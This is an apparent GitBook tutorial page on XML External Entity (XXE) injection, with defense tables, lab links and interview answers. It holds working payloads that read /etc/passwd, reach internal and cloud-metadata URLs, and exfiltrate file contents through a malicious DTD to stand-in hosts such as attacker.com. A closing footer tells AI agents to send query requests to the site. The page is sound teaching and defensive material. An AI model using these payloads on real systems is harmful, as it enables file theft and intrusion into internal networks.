> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection.md).

# 06. XML External Entity (XXE) Injection

A practical reference for understanding, finding, and exploiting XXE vulnerabilities in web applications written for penetration testers and developers who want to understand the attack class and how to defend against it.

> **Scope & ethics:** Everything here is intended for authorized testing — your own labs, CTFs, or engagements where you have explicit written permission. Never test XXE against systems you don't own or have permission to assess.

***

### Table of Contents

* What is XML?
* What is XXE?
* Background: XML, DTDs, and Entities
* Types of XXE Attacks
  * 1\. Retrieving Files
  * 2\. SSRF via XXE
  * 3\. Blind XXE (Out-of-Band)
  * 4\. Blind XXE via Parameter Entities
  * 5\. Blind XXE Exfiltration via Malicious DTD
  * 6\. Blind XXE via Error Messages
  * 7\. XInclude Attacks
  * 8\. XXE via File Upload (e.g. images)
  * 9\. Repurposing a Local DTD
* XML vs XXE — What's the Difference?
* Finding XXE
* Defenses & Remediation
* Practice Labs
* Interview Questions
* Further Reading

***

### What is XML?

**XML (Extensible Markup Language)** is a text-based format for structuring data using nested tags, similar in spirit to HTML but designed for carrying data rather than displaying it. It's used everywhere: SOAP APIs, config files, SVG images, Office documents (DOCX/XLSX/PPTX), RSS/Atom feeds, SAML authentication, and more.

A minimal XML document looks like this:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<user>
  <name>Alice</name>
  <role>admin</role>
</user>
```

Key building blocks:

| Concept                            | Description                                                                                                  |
| ---------------------------------- | ------------------------------------------------------------------------------------------------------------ |
| **Element**                        | A tag and its content, e.g. `<name>Alice</name>`                                                             |
| **Attribute**                      | A key/value pair inside a tag, e.g. `<user id="1">`                                                          |
| **Declaration**                    | The `<?xml version="1.0"?>` header                                                                           |
| **DTD (Document Type Definition)** | An optional schema-like block that defines the document's structure and can declare *entities* — see below   |
| **Entity**                         | A placeholder that gets replaced with a value when the document is parsed — this is the mechanism XXE abuses |

XML is popular precisely because it's flexible and extensible — but that same extensibility (particularly DTDs and entities) is what opens the door to XXE when parsers are configured insecurely.

### What is XXE?

**XML External Entity (XXE) injection** is a vulnerability that arises when an application parses XML input and the underlying XML parser is configured to resolve **external entities**. An attacker who can control the XML supplied to the parser can define custom entities that reference external resources. local files, internal network endpoints, or attacker-controlled servers, and coerce the parser into fetching or embedding that data.

XXE typically leads to:

* **Local file disclosure** (e.g. `/etc/passwd`, application source code, config files with credentials)
* **Server-Side Request Forgery (SSRF)** — forcing the server to make requests to internal-only systems
* **Denial of Service** (e.g. the "billion laughs" entity expansion attack)
* **Port scanning of internal infrastructure**
* Occasionally, **remote code execution**, depending on libraries available on the server (e.g. PHP `expect://` wrappers)

It sits on the OWASP Top 10 (A05: Security Misconfiguration in the 2021 list, previously its own category A4:2017) because it stems almost entirely from insecure default parser configuration.

***

### Background: XML, DTDs, and Entities

To understand XXE you need to understand **Document Type Definitions (DTDs)** and **entities**.

A DTD defines the structure of an XML document and can declare entities — reusable pieces of content, similar to variables.

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY example "a substitutable string">
]>
<foo>&example;</foo>
```

When parsed, `&example;` is replaced with `a substitutable string`.

#### External entities

Entities can also be declared as **external**, pointing to a URI instead of an inline value:

```xml
<!ENTITY example SYSTEM "file:///etc/passwd">
```

If the parser resolves external entities (many do, by default, in older or misconfigured configurations), then referencing `&example;` anywhere in the document body will cause the parser to read the target file and substitute its contents.

#### Parameter entities

XML also supports **parameter entities**, declared with a `%` and only usable *within the DTD itself* (not in the document body):

```xml
<!ENTITY % example SYSTEM "http://attacker.com/evil.dtd">
%example;
```

Parameter entities are essential for **blind XXE**, where the response isn't reflected back to the attacker directly.

***

### Types of XXE Attacks

#### 1. Retrieving Files via XXE

The classic case: the application reflects parsed XML content back to the user (e.g. echoing a `<name>` or `<message>` field), and the attacker defines an entity pointing at a local file.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>
```

If the application returns the value of `productId` in its response, the contents of `/etc/passwd` are disclosed.

#### 2. Server-Side Request Forgery (SSRF) via XXE

Instead of `file://`, point the external entity at an internal URL. This can be used to probe internal-only services (metadata endpoints, internal admin panels, etc.) that aren't reachable directly by the attacker.

```xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

This is especially powerful against cloud environments, where it can be pointed at instance metadata services.

#### 3. Blind XXE (Out-of-Band OOB)

When the application processes the XML but doesn't reflect any value back, you can't directly read file contents. Instead, trigger an **out-of-band interaction**: define an external entity pointing to a server you control (e.g. Burp Collaborator) to confirm the vulnerability exists.

```xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://your-collaborator-domain/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

A DNS lookup or HTTP request hitting your listener confirms external entity resolution is happening, even with no visible output.

#### 4. Blind XXE via Parameter Entities

Some parsers block general external entities in the document body but still process **parameter entities** within the DTD. Since parameter entities can only be referenced inside the DTD, you trigger the OOB interaction from there:

```xml
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://your-collaborator-domain/"> %xxe; ]>
<stockCheck><productId>test</productId><storeId>1</storeId></stockCheck>
```

#### 5. Blind XXE Exfiltration via Malicious External DTD

To actually exfiltrate data (not just confirm the bug) when the response isn't reflected, host a malicious external DTD on your own server and reference it. The external DTD reads a local file and sends its contents to you via HTTP.

**On attacker server (`evil.dtd`):**

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://your-collaborator-domain/?x=%file;'>">
%eval;
%exfil;
```

**In the vulnerable application's request:**

```xml
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]>
```

This works because the external DTD is evaluated in the context of the attacker's server, sidestepping restrictions on referencing local files directly from within the target's own DTD declaration.

#### 6. Blind XXE via Error Messages

If OOB traffic isn't possible (e.g. no outbound connectivity from the target), you may still be able to exfiltrate data by **triggering XML parsing errors that include file contents in the error message**. This relies on getting the parser to attempt to load a file as if it were a DTD/document, then leaking the error.

**Malicious external DTD:**

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

Because the file doesn't exist, the parser throws an error that embeds the (URL-encoded) contents of `%file;` inside the error message — which, if the application surfaces parser errors to the user, discloses the file.

#### 7. XInclude Attacks

Sometimes an application embeds user-supplied data into a server-side XML document rather than accepting a full XML document from the user — so you can't control the `DOCTYPE`. If the parser supports **XInclude**, you can still inject using the XInclude namespace instead of a DTD:

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>
```

This is placed directly in the data value that's later embedded into the server's XML document.

#### 8. XXE via File Upload (e.g. SVG/PNG/Office docs)

Many file formats are XML-based under the hood — SVG, DOCX, XLSX, PPTX (Office Open XML), and others. Uploading a crafted file in one of these formats can trigger XXE during server-side processing (e.g. thumbnail generation, metadata extraction).

**Example: malicious SVG that reads a local file and embeds it as image text**

```xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

If the server processes the SVG (e.g. converts it to a raster image for display) and returns it, the referenced file content may render in the image.

#### 9. Repurposing a Local DTD

Advanced/hardened targets may block outbound network access entirely (no OOB, no error-based leaks reachable). If you can't include external content, you can sometimes abuse a **DTD file that already exists on the target's filesystem** — for example, DTDs bundled with common software packages (e.g. certain GNOME/Linux packages) — by redefining an entity that DTD declares, and repurposing it to build an exfiltration/error payload entirely using local resources.

```xml
<!DOCTYPE message [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/some-package/some.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    %eval;
    %error;
  '>
  %local_dtd;
]>
```

This technique overrides an entity defined later in the local DTD with a malicious redefinition, then triggers the local DTD to expand it — achieving the same error-based exfiltration as above without any external network dependency.

***

### XML vs XXE — What's the Difference?

People new to the topic often conflate the two. They're not comparable things — one is a **format**, the other is a **vulnerability** that abuses a feature of that format.

|                                            | XML                               | XXE                                                                                                                              |
| ------------------------------------------ | --------------------------------- | -------------------------------------------------------------------------------------------------------------------------------- |
| **What it is**                             | A markup language/data format     | A security vulnerability                                                                                                         |
| **Purpose**                                | Structuring and transporting data | Abusing an XML parser's entity resolution to read files, hit internal services, or exfiltrate data                               |
| **Who "owns" it**                          | A W3C standard                    | A misconfiguration in how an application's XML parser is set up                                                                  |
| **Does using XML mean you're vulnerable?** | No — XML itself is safe           | Only if the parser processes `DOCTYPE`/external entities and untrusted input reaches it                                          |
| **Fix**                                    | N/A — it's just a format          | Disable DTD processing / external entity resolution in the parser                                                                |
| **Analogy**                                | Like SQL is a language            | XXE is like SQL injection — a vulnerability that arises from *how* the language's input is handled, not from the language itself |

**In short:** every application that uses XML is not automatically vulnerable to XXE. XXE only exists where (a) an XML parser is configured to resolve external entities/DTDs, **and** (b) attacker-controlled input reaches that parser. Plenty of production systems use XML safely because they've disabled DTD processing — this is now the recommended default in most modern parser libraries.

***

### Finding XXE

Checklist for identifying candidate XXE surfaces during an assessment:

* Any endpoint that explicitly accepts `Content-Type: application/xml` or `text/xml`
* SOAP-based APIs (SOAP is XML-based, and its parsers are frequently vulnerable)
* File upload features accepting XML-based formats: SVG, DOCX, XLSX, PPTX, ODT, KML, GPX, RSS/Atom feeds
* Endpoints accepting JSON that might *also* accept XML if you change the `Content-Type` header and body — many frameworks silently support both
* Legacy SSO/auth flows using SAML (SAML assertions are XML)
* Any parser that isn't explicitly hardened (check library defaults — many default to unsafe)

General workflow:

1. Identify or convert a request to XML.
2. Insert a `<!DOCTYPE>` declaration with a test external entity pointing to your Collaborator/listener.
3. Reference the entity somewhere in the body.
4. Check for reflected content or OOB interaction.
5. If neither works, try parameter entities, error-based techniques, or local DTD repurposing before concluding the target isn't exploitable.

***

### Defenses & Remediation

The most reliable fix is to **disable DTD processing entirely** wherever the application doesn't genuinely need it — most applications never do. Guidance by ecosystem:

| Language / Library                                                     | Mitigation                                                                                                 |
| ---------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------- |
| Java (`DocumentBuilderFactory`, `SAXParserFactory`, `XMLInputFactory`) | Disable DOCTYPE declarations, external general entities, and external parameter entities; disable XInclude |
| .NET (`XmlDocument`, `XmlReader`)                                      | Set `XmlResolver` to `null`; on modern .NET, `DtdProcessing.Prohibit`                                      |
| PHP (`libxml`)                                                         | Call `libxml_disable_entity_loader(true)` (legacy) and avoid `LIBXML_NOENT`                                |
| Python (`lxml`, `xml.etree`)                                           | Use `defusedxml`, or set `resolve_entities=False` and disable network access in `lxml.etree.XMLParser`     |
| Ruby (Nokogiri)                                                        | Avoid `Nokogiri::XML::ParseOptions::NOENT`; use safe default parsing                                       |
| Node.js (`libxmljs`, etc.)                                             | Ensure `noent` and `dtdload` options are off                                                               |

Defense-in-depth:

* Validate/allowlist file types on upload rather than trusting extensions/content-type headers
* Run XML parsing in a sandboxed environment with no outbound network access where feasible
* Keep parser libraries patched — some vulnerabilities exist in "secure by default" claims that later prove incomplete
* Apply the principle of least privilege to the process account handling XML parsing, limiting file-read scope

***

### Practice Labs

Hands-on labs from **PortSwigger Web Security Academy** — a free, browser-based platform for practicing web vulnerabilities in isolated instances.

#### Apprentice

* [Exploiting XXE to retrieve files](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files)
* [Exploiting XXE to perform SSRF attacks](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf)

#### Practitioner

* [Blind XXE with out-of-band interaction](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction)
* [Blind XXE with out-of-band interaction via XML parameter entities](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities)
* [Exploiting blind XXE to exfiltrate data using a malicious external DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration)
* [Exploiting blind XXE to retrieve data via error messages](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages)
* [Exploiting XInclude to retrieve files](https://portswigger.net/web-security/xxe/lab-xinclude-attack)
* [Exploiting XXE via image file upload](https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload)

#### Expert

* [Exploiting XXE to retrieve data by repurposing a local DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd)

**Suggested order:** Work top to bottom. The apprentice labs establish the core mechanics (basic disclosure, SSRF). Practitioner labs build up the blind-exploitation toolkit (OOB confirmation → parameter entities → full exfiltration → error-based leaks → alternate attack surfaces like XInclude and file upload). The expert lab combines everything into the hardest real-world scenario: no reflection, no outbound network access at all.

***

### Interview Questions

Common questions asked when interviewing for AppSec / pentesting roles, with concise model answers.

**Q1. What is XXE and why does it happen?**

> XXE is a vulnerability where an XML parser resolves attacker-defined external entities, letting an attacker read local files, perform SSRF, or exfiltrate data. It happens because many XML parsers historically processed DTDs and external entities by default, and developers didn't disable that behavior.

**Q2. What's the difference between XML and XXE?**

> XML is a data format; XXE is a vulnerability class that abuses one specific XML feature (DTD/entity resolution). Using XML doesn't make an app vulnerable — only unsafe parser configuration does.

**Q3. What's the difference between in-band and blind XXE?**

> In-band (or "classic") XXE reflects the entity's resolved value directly in the response, so the attacker sees the result immediately. Blind XXE gives no reflected output, so the attacker must use out-of-band techniques (Collaborator-style callbacks), error-based leaks, or a malicious external DTD to exfiltrate data indirectly.

**Q4. What is a parameter entity and why is it needed for blind XXE?**

> A parameter entity (declared with `%`) can only be referenced inside the DTD itself, not the document body. Some parsers block general entities in the body but still process parameter entities in the DTD — so attackers use parameter entities to trigger OOB interactions or build multi-stage exfiltration payloads when general entities are blocked.

**Q5. How would you detect blind XXE with no visible output?**

> Reference an external entity pointing at a domain you control (e.g. Burp Collaborator) and check for an incoming DNS/HTTP request. A hit confirms the parser is resolving external entities even though nothing is reflected.

**Q6. How can XXE lead to SSRF?**

> By declaring an external entity with a URL pointing at an internal-only resource (e.g. `http://169.254.169.254/` for cloud metadata, or an internal admin panel), the parser — running server-side — will make that request on the attacker's behalf, effectively giving them a proxy into the internal network.

**Q7. Can XXE happen through file uploads, not just raw XML endpoints?**

> Yes. Many file formats are XML-based under the hood — SVG, DOCX/XLSX/PPTX, KML, GPX. If the server parses these files (e.g. to generate a thumbnail or extract metadata) with an unsafe parser, uploading a crafted file can trigger XXE without ever hitting a dedicated "XML API."

**Q8. How do you fix/prevent XXE?**

> Disable DTD processing and external entity resolution at the parser level — this is the single most effective fix and should be the default unless the application has a genuine, rare need for external entities. Supplement with input validation, sandboxing the parsing process, and keeping parser libraries patched.

**Q9. What is the "billion laughs" attack and is it related to XXE?**

> It's a denial-of-service technique using nested *internal* (not external) entity expansion to exhaust memory/CPU — e.g. an entity that expands to ten copies of another entity, which each expand to ten more, and so on. It's related in that it abuses the same DTD/entity mechanism, but it doesn't require external entity resolution the way XXE does.

**Q10. Why can XXE sometimes achieve RCE?**

> Not through the XML spec itself, but through parser/language-specific extensions — for example, PHP's `expect://` wrapper can execute shell commands if enabled, and some environments expose other dangerous URI handlers. This is uncommon and environment-dependent, but worth mentioning to show depth of understanding.

***

### Further Reading

* [PortSwigger Web Security Academy — XXE](https://portswigger.net/web-security/xxe)
* [OWASP XXE Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)
* [OWASP Top 10](https://owasp.org/www-project-top-ten/)

***

*This document is for authorized security testing and educational purposes only.*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
